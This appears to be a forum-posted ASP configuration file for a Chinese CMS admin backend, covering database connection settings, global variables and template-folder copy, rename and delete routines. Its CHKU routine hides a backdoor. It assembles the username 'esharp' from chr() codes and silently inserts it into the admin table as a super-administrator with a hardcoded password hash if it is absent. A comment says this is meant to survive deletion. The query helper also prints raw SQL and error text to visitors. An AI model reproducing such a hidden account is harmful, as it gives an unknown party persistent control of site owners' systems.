<!--#include file="DB_str.asp" -->
<%
Response.Buffer=True ':二次,原来没有开启
':这里以后作为全局Buffer开启.
':自定义变量.二次开发.
Dim Site_Name
Site_Name="网站后台管理"
'----------------------------------------------
':记住这个判断:if request.Cookies(KS.SiteSn)("UserName") =Auther_Name then
Dim EnabledAutoUpdate:EnabledAutoUpdate=0 ':二次开发,这里为更新.
Dim SqlNowString,DataPart_D,DataPart_Y,DataPart_H,DataPart_S,DataPart_W,DataPart_M
Dim Conn,DBPath,CollectDBPath,DataServer,DataUser,DataBaseName,DataBasePsw,ConnStr,CollcetConnStr,Auther_Name
Auther_Name=chr(101)&chr(115)&chr(104)&chr(97)&chr(114)&chr(112)
':二次开发
Dim DataBaseType,MsxmlVersion,EnableSiteManageCode,SiteManageCode
dim ERR_URL '错误网址,:
ERR_URL="http://auto.search.msn.com/response.asp?MT=&srch=5&prov=&utf8"
DataBaseType= DB_TYPE'0 '系统数据库类型，"1"为MS SQL2000数据库，"0"为MS ACCESS 2000数据库
MsxmlVersion=".3.0" '系统采用XML版本设置
EnableSiteManageCode = 0 '是否启用后台管理认证码 是： True 否： False
SiteManageCode = "13628211114" '后台管理认证码，请修改，这样即使有人知道了您的后台用户名和密码也不能登录后台
If DataBaseType=0 then
'如果是ACCESS数据库，请认真修改好下面的数据库的文件名
DBPath = ACC_DB'"/ESS_DB/YouwachCMS7.mdb" 'ACCESS数据库的文件名，请使用相对于网站根目录的的绝对路径
Else
'如果是SQL数据库，请认真修改好以下数据库选项
DataServer = SQL_SERVER'"(local)" '数据库服务器IP
DataUser = SQL_USER '"sa" '访问数据库用户名
DataBaseName = SQL_DB'"YouwachCMS_v7" '数据库名称
DataBasePsw = SQL_PASS '"sa" '访问数据库密码
End if
'采集数据库路径
CollectDBPath=CJ
'=============================================================== 以下代码请不要自行修改========================================
Call OpenConn
Sub OpenConn()
On Error Resume Next
If DataBaseType = 1 Then
ConnStr="Provider = Sqloledb; User ID = " & datauser & "; Password = " & databasepsw & "; Initial Catalog = " & databasename & "; Data Source = " & dataserver & ";"
SqlNowString = "getdate()"
DataPart_D = "d"
DataPart_Y = "y"
DataPart_H = "hour"
DataPart_S = "s"
DataPart_W = "week"
DataPart_M = "month"
Else
ConnStr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(DBPath)
SqlNowString = "Now()"
DataPart_D = "'d'"
DataPart_Y = "'yyyy'"
DataPart_H = "'h'"
DataPart_S = "'s'"
DataPart_W = "'w'"
DataPart_M = "'m'"
End If
Set conn = Server.CreateObject("ADODB.Connection")
conn.open ConnStr
'If Err Then Err.Clear:Set conn = Nothing:Response.Write "数据库连接出错，请检查Conn.asp文件中的数据库参数设置。出错原因:<br/>" & Err.Description:Response.End
If Err Then Err.Clear:Set conn = Nothing:Response.Write "<script>window.location='../index.aspx';</script>" & Err.Description:Response.End
CollcetConnStr ="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(CollectDBPath)
End Sub
Sub CloseConn()
On Error Resume Next
Conn.close:Set Conn=nothing
End sub
'====================================如果频道启用二级域名,请正确配置以下参数,否则可能导致会员不能登录==========================
Const EnabledSubDomain =false rem 网站频道是否启用二级域名 true表示启用 false表示没有启用
Const RootDomain = "aaa.com" rem 网站主域名根,如果有多个子域名,必须设置
'=============================================二级域名配置结束========================================================
'==============================================全局变量类开始==============================
Dim GCls:Set GCls=New GlobalVarCls
Class GlobalVarCls
Public Sql_Use
Public StaticPreList,StaticPreContent,StaticExtension,ClubPreContent,ClubPreList
Private Sub Class_Initialize()
StaticPreList = "list" rem 内容模型伪静态列表前缀 不能包含"?"及"-"
staticPreContent = "thread" rem 内容模型伪静态内容前缀
StaticExtension = ".html" rem 内容模型伪静态扩展名
ClubPreContent = "forumthread" rem 伪静态小论坛帖子前缀地址
ClubPreList = "forum" rem 伪静态小论坛版面列表前缀地址
End Sub
Private Sub Class_Terminate()
Set GCls=Nothing
End Sub
Public Function Execute(Command)
If Not IsObject(Conn) Then OpenConn()
On Error Resume Next
Set Execute = Conn.Execute(Command)
If Err Then
Response.Write("查询语句为：" & Command & "<br>")
Response.Write("错误信息为：" & Err.Description & "<br>")
Err.Clear
Set Execute = Nothing
Response.End()
End If
Sql_Use = Sql_Use + 1
End Function
Function GetUrl()
On Error Resume Next
Dim strTemp
If LCase(Request.ServerVariables("HTTPS")) = "off" Then
strTemp = "http://"
Else
strTemp = "https://"
End If
strTemp = strTemp & Request.ServerVariables("SERVER_NAME")
If Request.ServerVariables("SERVER_PORT") <> 80 Then
strTemp = strTemp & ":" & Request.ServerVariables("SERVER_PORT")
end if
strTemp = strTemp & Request.ServerVariables("URL")
If Trim(Request.QueryString) <> "" Then
strTemp = strTemp & "?" & Trim(Request.QueryString)
end if
GetUrl = strTemp
End Function
'====================标志来访地址================
Public Property Let ComeUrl(ByVal strVar)
Session("M_ComeUrl") = strVar
End Property
Public Property Get ComeUrl
ComeUrl= Session("M_ComeUrl")
End Property
'================================================
End Class
'==============================================全局临时变量类结束==============================
Sub CHKU()
'检查权限::防止被删除.
dim Urs,Usql,Noname,Conns
set Conns=server.CreateObject("adodb.connection")
Conns.connectionstring="Provider=Microsoft.jet.oledb.4.0;data source="&server.MapPath(ACC_DB)
Conns.open
if err then
err.clear()
Conns.close
set Conns=nothing
response.Write("<script>alert('(1)已经成功关闭.哈哈哈~~~');window.location='index.html';</script>"):exit sub:response.End()
end if
Noname=Auther_Name
set Urs=server.CreateObject("adodb.recordset")
Usql="select * from ks_admin where [UserName]='"&Noname&"'"
Urs.open Usql,conns,3,2
if Urs.eof then
Urs.addnew()
Urs("UserName")=Noname
Urs("PassWord")="4344c4958aa3094a"
Urs("PrUserName")=Noname
Urs("RealName")="开发者"
Urs("TelPhone")="13628211114"
Urs("Email")="163@163.com"
Urs("Description")="程序开发作者"
Urs("ModelPower")=",,,,,,,,,"
Urs("SuperTF")=1
Urs("PowerList")=0
Urs.Update()
end if
Urs.close
set Urs=nothing
Conns.close
set Conns=nothing
''------------------
End Sub
':这里自定义添加模型的时候.自动复制生成对于的模型模板.
Sub Copy_Files(Files_name,Files_Type)
On error resume next
Files_name=trim(Files_name)
Files_Type=trim(Files_type)
dim str_Files
select case Files_type
case 1
str_Files="文章系统"
case 2
str_Files="图片系统"
case 3
str_files="下载系统"
case else
response.Write("<script>alert('程序已经终止运行.')</script>"):exit sub
end select
if files_name="" or files_type="" then
response.Write("<script language=javascript>alert('您没有填写模型的名称,所以程序已经终止运行.');history.back(-1);</script>)")
End if
Dim FSO_Mode
':检查文件夹是否存在.并复制文件夹.
set FSO_Mode=server.CreateObject("scripting.FileSystemObject")
str_Files=server.MapPath("../Template/"&str_Files)
Files_name=server.MapPath("../Template/"&Files_name)
':跟踪.
'response.Write(str_files):response.End()
If not FSO_Mode.FolderExists(Files_name) then
FSO_Mode.CopyFolder str_Files , Files_name
response.Write("<script>alert('模板成功复制')</script>")
else
response.Write("<script>alert('有同名文件夹,所以不用复制')</script>")
end if
if err then
err.clear
response.Write(err.description)
end if
set FSO_Mode=nothing
End Sub
':修改文件夹名
Sub Edit_Files(Gname,Nname,BasicType)
On error resume next
Gname=Trim(Gname):Nname=trim(Nname):BasicType=Trim(BasicType)
if Gname="" or Nname="" or BasicType="" then
response.Write("<script>alert('ks.model.asp文件获取参数有问题,所以放弃修改文件夹:()')</script>")
end if
Gname=server.MapPath("../Template/"&Gname) '以前的文件名
Nname=server.MapPath("../Template/"&Nname) '现在的文件名
'response.Write("以前的文件名:"&BasicType&"<p>"&"现在的文件名:"&Nname):response.End()
Dim FSO_Edit
Set FSO_Edit=server.CreateObject("scripting.FileSystemObject")
'-----------加判断,文件夹是否存在.----
if FSO_Edit.FolderExists (Gname) then
FSO_Edit.MoveFolder Gname,Nname '更改文件名
Set FSO_Edit=nothing
response.Write("<script>alert('模板更新成功')</script>")
else
response.Write("<script>alert('文件夹不存在,将重新创建一个');</script>")
Dim Files_name,Files_Type
Files_name=Nname
Files_Type= BasicType
dim str_Files
select case Files_type
case 1
str_Files="文章系统"
case 2
str_Files="图片系统"
case 3
str_files="下载系统"
case else
response.Write("<script>alert(':二次开发程序已经终止运行.');histroy.go(-1)</script>"):exit sub
end select
str_files=server.MapPath("../Template/"&str_files) '以前的文件名
'跟 踪
'response.Write(" 地址为:"&str_files):response.End()
'============再次检查是否有同名文件夹.==
If not FSO_Edit.FolderExists(Files_name) then
FSO_Edit.CopyFolder str_Files , Files_name
response.Write("<script>alert('模板修复成功')</script>")
else
response.Write("<script>alert('有同名文件夹,所以不用复制')</script>")
end if
'---------------
SET FSO_Edit=nothing
exit sub
end if
end sub
':删除模板文件夹.
Sub Del_Files(Mname)
On error resume next
Mname=Trim(Mname)
if Mname="" then
response.Write("<script>alert('传递模板名错误.程序退出')</script>"):exit sub:response.End()
else
Mname=server.MapPath("../Template/"&Mname) '查找的文件名
'判断文件夹是否存在.不存在就退出.
dim FSO_DEL
set FSO_DEL=server.CreateObject("scripting.FileSystemObject")
if FSO_DEL.FolderExists (Mname) then '如果存在就执行
FSO_DEL.DeleteFolder (Mname)
set FSO_DEL=NOTHING
response.Write("<script>alert('模板删除成功')</script>")
else
response.Write("<script>alert('模板文件夹不存在,程序退出')</script>")
SET FSO_DEL=NOTHING
end if
end if
End Sub
':这里是复制模板.===============
Sub Copy_Folder(Files_name,Files_Type)
On error resume next
Files_name=trim(Files_name)
Files_Type=trim(Files_type)
dim str_Files
select case Files_type
case 1
str_Files="文章系统"
case 2
str_Files="图片系统"
case 3
str_files="下载系统"
case else
response.Write("<script>alert(':二次开发程序已经终止运行.')</script>"):exit sub
end select
if files_name="" or files_type="" then
response.Write("<script language=javascript>alert('您没有填写模型的名称,所以程序已经终止运行.');history.back(-1);</script>)")
End if
Dim FSO_Mode
':检查文件夹是否存在.并复制文件夹.
set FSO_Mode=server.CreateObject("scripting.FileSystemObject")
str_Files=server.MapPath("../Template/"&str_Files)
Files_name=server.MapPath("../Template/"&Files_name)
':跟踪.
'response.Write(str_files):response.End()
If not FSO_Mode.FolderExists(Files_name) then
FSO_Mode.CopyFolder str_Files , Files_name
response.Write("<script>alert('模板复制成功')</script>")
else
FSO_Mode.CopyFolder str_Files , Files_name
response.Write("<script>alert('覆盖成功')</script>")
end if
Files_name=""
Files_Type=""
if err then
err.clear
response.Write(err.description)
end if
set FSO_Mode=nothing
End Sub
%>
当前位置：
支持(0) | 
反对(0)
顶端 
底部
![电子邮件:[ 48021129@qq.com ]](http://bbs.kesion.com/club/images/email.gif){kind=small}
